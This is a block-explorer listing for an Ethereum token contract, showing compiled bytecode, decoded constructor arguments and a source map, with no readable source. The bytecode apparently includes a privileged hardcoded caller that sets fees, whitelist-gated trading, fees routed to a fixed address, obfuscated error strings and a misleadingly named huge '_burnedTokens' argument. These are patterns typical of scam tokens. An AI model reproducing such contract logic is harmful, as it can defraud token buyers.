ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156124ff576124e760646124d9600a5487612b9990919063ffffffff16565b612c1090919063ffffffff16565b91506124fc8285612c6790919063ffffffff16565b90505b61254f8460045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506126018160045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126e19190612f02565b60405180910390a35f8211156127e8576127418260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127df9190612f02565b60405180910390a35b50506129da565b61283f8260045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c6790919063ffffffff16565b60045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128f18260045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612cbf90919063ffffffff16565b60045f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516129d19190612f02565b60405180910390a35b5050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a64906132b5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad2906135b4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f808303612ba9575f9050612c0a565b5f8284612bb691906135ff565b9050828482612bc5919061366d565b14612c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfc906136e7565b60405180910390fd5b809150505b92915050565b5f808211612c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c4a9061374f565b60405180910390fd5b8183612c5f919061366d565b905092915050565b5f82821115612cab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ca2906137b7565b60405180910390fd5b8183612cb791906137d5565b905092915050565b5f808284612ccd9190613808565b905083811015612d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d0990613885565b60405180910390fd5b8091505092915050565b5f80fd5b5f819050919050565b612d3281612d20565b8114612d3c575f80fd5b50565b5f81359050612d4d81612d29565b92915050565b5f60208284031215612d6857612d67612d1c565b5b5f612d7584828501612d3f565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015612db5578082015181840152602081019050612d9a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f612dda82612d7e565b612de48185612d88565b9350612df4818560208601612d98565b612dfd81612dc0565b840191505092915050565b5f6020820190508181035f830152612e208184612dd0565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612e5182612e28565b9050919050565b612e6181612e47565b8114612e6b575f80fd5b50565b5f81359050612e7c81612e58565b92915050565b5f8060408385031215612e9857612e97612d1c565b5b5f612ea585828601612e6e565b9250506020612eb685828601612d3f565b9150509250929050565b5f8115159050919050565b612ed481612ec0565b82525050565b5f602082019050612eed5f830184612ecb565b92915050565b612efc81612d20565b82525050565b5f602082019050612f155f830184612ef3565b92915050565b5f805f60608486031215612f3257612f31612d1c565b5b5f612f3f86828701612e6e565b9350506020612f5086828701612e6e565b9250506040612f6186828701612d3f565b9150509250925092565b5f60ff82169050919050565b612f8081612f6b565b82525050565b5f602082019050612f995f830184612f77565b92915050565b5f60208284031215612fb457612fb3612d1c565b5b5f612fc184828501612e6e565b91505092915050565b612fd381612e47565b82525050565b5f602082019050612fec5f830184612fca565b92915050565b5f806040838503121561300857613007612d1c565b5b5f61301585828601612d3f565b925050602061302685828601612d3f565b9150509250929050565b5f806040838503121561304657613045612d1c565b5b5f61305385828601612e6e565b925050602061306485828601612e6e565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806130b257607f821691505b6020821081036130c5576130c461306e565b5b50919050565b7f3142414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f6130ff600883612d88565b915061310a826130cb565b602082019050919050565b5f6020820190508181035f83015261312c816130f3565b9050919050565b7f3342414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f613167600883612d88565b915061317282613133565b602082019050919050565b5f6020820190508181035f8301526131948161315b565b9050919050565b7f3442414c44302e352d00000000000000000000000000000000000000000000005f82015250565b5f6131cf600983612d88565b91506131da8261319b565b602082019050919050565b5f6020820190508181035f8301526131fc816131c3565b9050919050565b7f2d3542414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f613237600983612d88565b915061324282613203565b602082019050919050565b5f6020820190508181035f8301526132648161322b565b9050919050565b7f3242414c44302e350000000000000000000000000000000000000000000000005f82015250565b5f61329f600883612d88565b91506132aa8261326b565b602082019050919050565b5f6020820190508181035f8301526132cc81613293565b9050919050565b7f42414c44302e35333200000000000000000000000000000000000000000000005f82015250565b5f613307600983612d88565b9150613312826132d3565b602082019050919050565b5f6020820190508181035f830152613334816132fb565b9050919050565b7f343442414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f61336f600983612d88565b915061337a8261333b565b602082019050919050565b5f6020820190508181035f83015261339c81613363565b9050919050565b7f353542414c44302e3500000000000000000000000000000000000000000000005f82015250565b5f6133d7600983612d88565b91506133e2826133a3565b602082019050919050565b5f6020820190508181035f830152613404816133cb565b9050919050565b7f3642414c44302e353100000000000000000000000000000000000000000000005f82015250565b5f61343f600983612d88565b915061344a8261340b565b602082019050919050565b5f6020820190508181035f83015261346c81613433565b9050919050565b7f42414c44302e35323133000000000000000000000000000000000000000000005f82015250565b5f6134a7600a83612d88565b91506134b282613473565b602082019050919050565b5f6020820190508181035f8301526134d48161349b565b9050919050565b5f6040820190506134ee5f830185612ef3565b6134fb6020830184612ef3565b9392505050565b7f42414c44302e35313331330000000000000000000000000000000000000000005f82015250565b5f613536600b83612d88565b915061354182613502565b602082019050919050565b5f6020820190508181035f8301526135638161352a565b9050919050565b7f42414c44302e3542414c44302e3533786342414c44302e3500000000000000005f82015250565b5f61359e601883612d88565b91506135a98261356a565b602082019050919050565b5f6020820190508181035f8301526135cb81613592565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61360982612d20565b915061361483612d20565b925082820261362281612d20565b91508282048414831517613639576136386135d2565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61367782612d20565b915061368283612d20565b92508261369257613691613640565b5b828204905092915050565b7f42414c44302e3542414c44302e3542414c44302e3520000000000000000000005f82015250565b5f6136d1601683612d88565b91506136dc8261369d565b602082019050919050565b5f6020820190508181035f8301526136fe816136c5565b9050919050565b7f42414c44302e3542414c44302e3542414c44302e3542414c44302e35000000005f82015250565b5f613739601c83612d88565b915061374482613705565b602082019050919050565b5f6020820190508181035f8301526137668161372d565b9050919050565b7f42414c44302e35000000000000000000000000000000000000000000000000005f82015250565b5f6137a1600783612d88565b91506137ac8261376d565b602082019050919050565b5f6020820190508181035f8301526137ce81613795565b9050919050565b5f6137df82612d20565b91506137ea83612d20565b9250828203905081811115613802576138016135d2565b5b92915050565b5f61381282612d20565b915061381d83612d20565b9250828201905080821115613835576138346135d2565b5b92915050565b7f42414c44302e3542414c44302e350000000000000000000000000000000000005f82015250565b5f61386f600e83612d88565b915061387a8261383b565b602082019050919050565b5f6020820190508181035f83015261389c81613863565b905091905056fea2646970667358221220f9c43a56d56995f499e95b492bce031403d1d8f4d93b6bd872e0e18f5bc36e6e64736f6c63430008150033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000009f28ad1d0760c9644cf682f888a993f40c6c7ec800000003b58e88c75313ec9d329eaaa18fb92f75215b170fffffffffffffffff
-----Decoded View---------------
Arg [0] : _swapRouter (address): 0x9F28ad1d0760c9644cF682f888a993F40c6C7EC8
Arg [1] : _burnedTokens (uint256): 99999999999999999999999999999999999999999999999999999999999999999999
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000009f28ad1d0760c9644cf682f888a993f40c6c7ec8
Arg [1] : 00000003b58e88c75313ec9d329eaaa18fb92f75215b170fffffffffffffffff
Deployed Bytecode Sourcemap
847:7132:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5876:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;913:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:229;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;997:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3394:1607;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1409:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1373:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1059;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1534:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1338:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1298:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1488:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1100:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5248:149;;;;;;;;;;;;;:::i;:::-;;1232:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;954:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1446:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5982:830;;;:::i;:::-;;2728:417;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5405:463;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1262:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1155:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6820:1156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5009:231;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5876:98;5947:10;5938:28;;;5959:6;5938:28;;;;;;:::i;:::-;;;;;;;;5876:98;:::o;913:30::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3155:229::-;3222:12;3284:6;3250:9;:21;3260:10;3250:21;;;;;;;;;;;;;;;:31;3272:8;3250:31;;;;;;;;;;;;;;;:40;;;;3331:8;3310:38;;3319:10;3310:38;;;3341:6;3310:38;;;;;;:::i;:::-;;;;;;;;3369:4;3362:11;;3155:229;;;;:::o;997:51::-;;;;:::o;3394:1607::-;3494:12;3478:5;2389:17;;;;;;;;;;;:40;;;;2410:11;:19;2422:6;2410:19;;;;;;;;;;;;;;;;;;;;;;;;;2389:40;:69;;;;2435:7;;;;;;;;;;;2434:8;:23;;;;;2446:11;;;;;;;;;;;2434:23;2389:69;:129;;;;2463:7;;;;;;;;;;;:30;;;;;2474:11;:19;2486:6;2474:19;;;;;;;;;;;;;;;;;;;;;;;;;2463:30;:54;;;;;2507:10;;;;;;;;;;;2497:20;;:6;:20;;;;2463:54;2389:129;:171;;;;2533:10;;;;;;;;;;;2523:20;;:6;:20;;;:36;;;;;2558:1;2547:7;;:12;2523:36;2389:171;2367:233;;;;;;;;;;;;:::i;:::-;;;;;;;;;3550:7:::1;3530:9;:16;3540:5;3530:16;;;;;;;;;;;;;;;;:27;;3522:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;3625:7;3593:9;:16;3603:5;3593:16;;;;;;;;;;;;;;;:28;3610:10;3593:28;;;;;;;;;;;;;;;;:39;;3585:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;3683:1;3668:17;;:3;:17;;::::0;3660:39:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3716:11;3746:22:::0;3771:7:::1;3746:32;;3797:11;;;;;;;;;;;:26;;;;;3822:1;3812:7;;:11;3797:26;:49;;;;;3836:10;;;;;;;;;;;3827:19;;:5;:19;;;;3797:49;:72;;;;;3851:11;:18;3863:5;3851:18;;;;;;;;;;;;;;;;;;;;;;;;;3850:19;3797:72;3793:198;;;3896:29;3921:3;3896:20;3908:7;;3896;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;3890:35;;3960:16;3972:3;3960:7;:11;;:16;;;;:::i;:::-;3943:33;;3793:198;4022:29;4043:7;4022:9;:16;4032:5;4022:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;4003:9;:16;4013:5;4003:16;;;;;;;;;;;;;;;:48;;;;4083:34;4102:14;4083:9;:14;4093:3;4083:14;;;;;;;;;;;;;;;;:18;;:34;;;;:::i;:::-;4066:9;:14;4076:3;4066:14;;;;;;;;;;;;;;;:51;;;;4153:3;4137:36;;4146:5;4137:36;;;4158:14;4137:36;;;;;;:::i;:::-;;;;;;;;4200:1;4194:3;:7;4190:503;;;4218:23;4252:42;4218:77;;4325:15;4318:22;;:3;:22;;::::0;4314:368:::1;;4394:35;4425:3;4394:9;:26;4404:15;4394:26;;;;;;;;;;;;;;;;:30;;:35;;;;:::i;:::-;4365:9;:26;4375:15;4365:26;;;;;;;;;;;;;;;:64;;;;4473:15;4457:37;;4466:5;4457:37;;;4490:3;4457:37;;;;;;:::i;:::-;;;;;;;;4314:368;;;4566:33;4595:3;4566:9;:24;4584:4;4566:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;4539:9;:24;4557:4;4539:24;;;;;;;;;;;;;;;:60;;;;4651:4;4627:35;;4636:5;4627:35;;;4658:3;4627:35;;;;;;:::i;:::-;;;;;;;;4314:368;4203:490;4190:503;4718:10;4709:19;;:5;:19;;;;:72;;;;;4764:17;4732:9;:16;4742:5;4732:16;;;;;;;;;;;;;;;:28;4749:10;4732:28;;;;;;;;;;;;;;;;:49;;4709:72;4705:265;;;4833:41;4866:7;4833:9;:16;4843:5;4833:16;;;;;;;;;;;;;;;:28;4850:10;4833:28;;;;;;;;;;;;;;;;:32;;:41;;;;:::i;:::-;4802:9;:16;4812:5;4802:16;;;;;;;;;;;;;;;:28;4819:10;4802:28;;;;;;;;;;;;;;;:72;;;;4914:10;4898:57;;4907:5;4898:57;;;4926:9;:16;4936:5;4926:16;;;;;;;;;;;;;;;:28;4943:10;4926:28;;;;;;;;;;;;;;;;4898:57;;;;;;:::i;:::-;;;;;;;;4705:265;4989:4;4982:11;;;;3394:1607:::0;;;;;;:::o;1409:27::-;;;;;;;;;;;;;:::o;1373:26::-;;;;:::o;1059:::-;;;;;;;;;;;;;:::o;1534:43::-;;;;;;;;;;;;;;;;;;;;;;:::o;1338:25::-;;;;:::o;1298:27::-;;;;:::o;1488:36::-;;;;;;;;;;;;;:::o;1100:44::-;;;;;;;;;;;;;;;;;:::o;5248:149::-;2682:5;;;;;;;;;;;2668:19;;:10;:19;;;2660:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5350:1:::1;5314:39;;5335:5;;;;;;;;;;;5314:39;;;;;;;;;;;;5384:1;5368:5;;:18;;;;;;;;;;;;;;;;;;5248:149::o:0;1232:20::-;;;;;;;;;;;;;:::o;954:32::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1446:31::-;;;;;;;;;;;;;:::o;5982:830::-;6022:10;2389:17;;;;;;;;;;;:40;;;;2410:11;:19;2422:6;2410:19;;;;;;;;;;;;;;;;;;;;;;;;;2389:40;:69;;;;2435:7;;;;;;;;;;;2434:8;:23;;;;;2446:11;;;;;;;;;;;2434:23;2389:69;:129;;;;2463:7;;;;;;;;;;;:30;;;;;2474:11;:19;2486:6;2474:19;;;;;;;;;;;;;;;;;;;;;;;;;2463:30;:54;;;;;2507:10;;;;;;;;;;;2497:20;;:6;:20;;;;2463:54;2389:129;:171;;;;2533:10;;;;;;;;;;;2523:20;;:6;:20;;;:36;;;;;2558:1;2547:7;;:12;2523:36;2389:171;2367:233;;;;;;;;;;;;:::i;:::-;;;;;;;;;6069:1:::1;6057:9;:13;6049:35;;;;;;;;;;;;:::i;:::-;;;;;;;;;6101:14;6118:9;6101:26;;6154:1;6145:6;;:10;6141:664;;;6172:11;6186:27;6209:3;6186:18;6197:6;;6186;:10;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;6172:41;;6232:22;6257:15;6268:3;6257:6;:10;;:15;;;;:::i;:::-;6232:40;;6316:41;6342:14;6316:9;:21;6326:10;;;;;;;;;;;6316:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;6292:9;:21;6302:10;;;;;;;;;;;6292:21;;;;;;;;;;;;;;;:65;;;;6405:10;;;;;;;;;;;6381:51;;6398:4;6381:51;;;6417:14;6381:51;;;;;;:::i;:::-;;;;;;;;6462:1;6456:3;:7;6452:181;;;6511:33;6540:3;6511:9;:24;6529:4;6511:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;6484:9;:24;6502:4;6484:24;;;;;;;;;;;;;;;:60;;;;6603:4;6571:43;;6588:4;6571:43;;;6610:3;6571:43;;;;;;:::i;:::-;;;;;;;;6452:181;6157:487;;6141:664;;;6689:33;6715:6;6689:9;:21;6699:10;;;;;;;;;;;6689:21;;;;;;;;;;;;;;;;:25;;:33;;;;:::i;:::-;6665:9;:21;6675:10;;;;;;;;;;;6665:21;;;;;;;;;;;;;;;:57;;;;6770:10;;;;;;;;;;;6746:43;;6763:4;6746:43;;;6782:6;6746:43;;;;;;:::i;:::-;;;;;;;;6141:664;6034:778;5982:830:::0;:::o;2728:417::-;2814:12;2793:10;2389:17;;;;;;;;;;;:40;;;;2410:11;:19;2422:6;2410:19;;;;;;;;;;;;;;;;;;;;;;;;;2389:40;:69;;;;2435:7;;;;;;;;;;;2434:8;:23;;;;;2446:11;;;;;;;;;;;2434:23;2389:69;:129;;;;2463:7;;;;;;;;;;;:30;;;;;2474:11;:19;2486:6;2474:19;;;;;;;;;;;;;;;;;;;;;;;;;2463:30;:54;;;;;2507:10;;;;;;;;;;;2497:20;;:6;:20;;;;2463:54;2389:129;:171;;;;2533:10;;;;;;;;;;;2523:20;;:6;:20;;;:36;;;;;2558:1;2547:7;;:12;2523:36;2389:171;2367:233;;;;;;;;;;;;:::i;:::-;;;;;;;;;2876:7:::1;2851:9;:21;2861:10;2851:21;;;;;;;;;;;;;;;;:32;;2843:41;;;::::0;::::1;;2921:1;2906:17;;:3;:17;;::::0;2898:26:::1;;;::::0;::::1;;2965:34;2991:7;2965:9;:21;2975:10;2965:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;2941:9;:21;2951:10;2941:21;;;;;;;;;;;;;;;:58;;;;3030:27;3049:7;3030:9;:14;3040:3;3030:14;;;;;;;;;;;;;;;;:18;;:27;;;;:::i;:::-;3013:9;:14;3023:3;3013:14;;;;;;;;;;;;;;;:44;;;;3097:3;3076:34;;3085:10;3076:34;;;3102:7;3076:34;;;;;;:::i;:::-;;;;;;;;3133:4;3126:11;;2728:417:::0;;;;;:::o;5405:463::-;5499:42;5485:56;;:10;:56;;;5477:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;5575:7;;;;;;;;;;;5574:8;5566:30;;;;;;;;;;;;:::i;:::-;;;;;;;;;5629:1;5615:10;:15;5607:37;;;;;;;;;;;;:::i;:::-;;;;;;;;;5677:2;5663:10;:16;5655:39;;;;;;;;;;;;:::i;:::-;;;;;;;;;5714:10;5705:6;:19;;;;5745:10;5735:7;:20;;;;5776:4;5766:7;;:14;;;;;;;;;;;;;;;;;;5805:4;5791:11;;:18;;;;;;;;;;;;;;;;;;5825:35;5837:10;5849;5825:35;;;;;;;:::i;:::-;;;;;;;;5405:463;;:::o;1262:25::-;;;;;;;;;;;;;:::o;1155:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6820:1156::-;6868:10;2389:17;;;;;;;;;;;:40;;;;2410:11;:19;2422:6;2410:19;;;;;;;;;;;;;;;;;;;;;;;;;2389:40;:69;;;;2435:7;;;;;;;;;;;2434:8;:23;;;;;2446:11;;;;;;;;;;;2434:23;2389:69;:129;;;;2463:7;;;;;;;;;;;:30;;;;;2474:11;:19;2486:6;2474:19;;;;;;;;;;;;;;;;;;;;;;;;;2463:30;:54;;;;;2507:10;;;;;;;;;;;2497:20;;:6;:20;;;;2463:54;2389:129;:171;;;;2533:10;;;;;;;;;;;2523:20;;:6;:20;;;:36;;;;;2558:1;2547:7;;:12;2523:36;2389:171;2367:233;;;;;;;;;;;;:::i;:::-;;;;;;;;;6927:7:::1;6902:9;:21;6912:10;6902:21;;;;;;;;;;;;;;;;:32;;6894:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;6971:11;;;;;;;;;;;6967:1002;;;7003:11;7036:22:::0;7061:7:::1;7036:32;;7103:1;7093:7;;:11;:39;;;;;7122:10;;;;;;;;;;;7108:24;;:10;:24;;;;7093:39;:67;;;;;7137:11;:23;7149:10;7137:23;;;;;;;;;;;;;;;;;;;;;;;;;7136:24;7093:67;7089:205;;;7190:29;7215:3;7190:20;7202:7;;7190;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;7184:35;;7259:16;7271:3;7259:7;:11;;:16;;;;:::i;:::-;7242:33;;7089:205;7334:34;7360:7;7334:9;:21;7344:10;7334:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7310:9;:21;7320:10;7310:21;;;;;;;;;;;;;;;:58;;;;7410:41;7436:14;7410:9;:21;7420:10;;;;;;;;;;;7410:21;;;;;;;;;;;;;;;;:25;;:41;;;;:::i;:::-;7386:9;:21;7396:10;;;;;;;;;;;7386:21;;;;;;;;;;;;;;;:65;;;;7496:10;;;;;;;;;;;7475:48;;7484:10;7475:48;;;7508:14;7475:48;;;;;;:::i;:::-;;;;;;;;7554:1;7548:3;:7;7544:179;;;7603:33;7632:3;7603:9;:24;7621:4;7603:24;;;;;;;;;;;;;;;;:28;;:33;;;;:::i;:::-;7576:9;:24;7594:4;7576:24;;;;;;;;;;;;;;;:60;;;;7692:4;7663:40;;7672:10;7663:40;;;7699:3;7663:40;;;;;;:::i;:::-;;;;;;;;7544:179;6984:750;;6967:1002;;;7779:34;7805:7;7779:9;:21;7789:10;7779:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7755:9;:21;7765:10;7755:21;;;;;;;;;;;;;;;:58;;;;7855:34;7881:7;7855:9;:21;7865:10;;;;;;;;;;;7855:21;;;;;;;;;;;;;;;;:25;;:34;;;;:::i;:::-;7831:9;:21;7841:10;;;;;;;;;;;7831:21;;;;;;;;;;;;;;;:58;;;;7933:10;;;;;;;;;;;7912:41;;7921:10;7912:41;;;7945:7;7912:41;;;;;;:::i;:::-;;;;;;;;6967:1002;6820:1156:::0;;:::o;5009:231::-;2682:5;;;;;;;;;;;2668:19;;:10;:19;;;2660:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;5114:1:::1;5094:22;;:8;:22;;::::0;5086:59:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;5189:8;5161:37;;5182:5;;;;;;;;;;;5161:37;;;;;;;;;;;;5221:8;5213:5;;:16;;;;;;;;;;;;;;;;;;5009:231:::0;:::o;438:235::-;496:7;525:1;520;:6;516:47;;550:1;543:8;;;;516:47;573:9;589:1;585;:5;;;;:::i;:::-;573:17;;618:1;613;609;:5;;;;:::i;:::-;:10;601:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;664:1;657:8;;;438:235;;;;;:::o;683:155::-;741:7;773:1;769;:5;761:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;829:1;825;:5;;;;:::i;:::-;818:12;;683:155;;;;:::o;117:135::-;175:7;208:1;203;:6;;195:26;;;;;;;;;;;;:::i;:::-;;;;;;;;;243:1;239;:5;;;;:::i;:::-;232:12;;117:135;;;;:::o;262:166::-;320:7;340:9;356:1;352;:5;;;;:::i;:::-;340:17;;381:1;376;:6;;368:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;419:1;412:8;;;262:166;;;;:::o;88:117:1:-;197:1;194;187:12;334:77;371:7;400:5;389:16;;334:77;;;:::o;417:122::-;490:24;508:5;490:24;:::i;:::-;483:5;480:35;470:63;;529:1;526;519:12;470:63;417:122;:::o;545:139::-;591:5;629:6;616:20;607:29;;645:33;672:5;645:33;:::i;:::-;545:139;;;;:::o;690:329::-;749:6;798:2;786:9;777:7;773:23;769:32;766:119;;;804:79;;:::i;:::-;766:119;924:1;949:53;994:7;985:6;974:9;970:22;949:53;:::i;:::-;939:63;;895:117;690:329;;;;:::o;1025:99::-;1077:6;1111:5;1105:12;1095:22;;1025:99;;;:::o;1130:169::-;1214:11;1248:6;1243:3;1236:19;1288:4;1283:3;1279:14;1264:29;;1130:169;;;;:::o;1305:246::-;1386:1;1396:113;1410:6;1407:1;1404:13;1396:113;;;1495:1;1490:3;1486:11;1480:18;1476:1;1471:3;1467:11;1460:39;1432:2;1429:1;1425:10;1420:15;;1396:113;;;1543:1;1534:6;1529:3;1525:16;1518:27;1367:184;1305:246;;;:::o;1557:102::-;1598:6;1649:2;1645:7;1640:2;1633:5;1629:14;1625:28;1615:38;;1557:102;;;:::o;1665:377::-;1753:3;1781:39;1814:5;1781:39;:::i;:::-;1836:71;1900:6;1895:3;1836:71;:::i;:::-;1829:78;;1916:65;1974:6;1969:3;1962:4;1955:5;1951:16;1916:65;:::i;:::-;2006:29;2028:6;2006:29;:::i;:::-;2001:3;1997:39;1990:46;;1757:285;1665:377;;;;:::o;2048:313::-;2161:4;2199:2;2188:9;2184:18;2176:26;;2248:9;2242:4;2238:20;2234:1;2223:9;2219:17;2212:47;2276:78;2349:4;2340:6;2276:78;:::i;:::-;2268:86;;2048:313;;;;:::o;2367:126::-;2404:7;2444:42;2437:5;2433:54;2422:65;;2367:126;;;:::o;2499:96::-;2536:7;2565:24;2583:5;2565:24;:::i;:::-;2554:35;;2499:96;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354: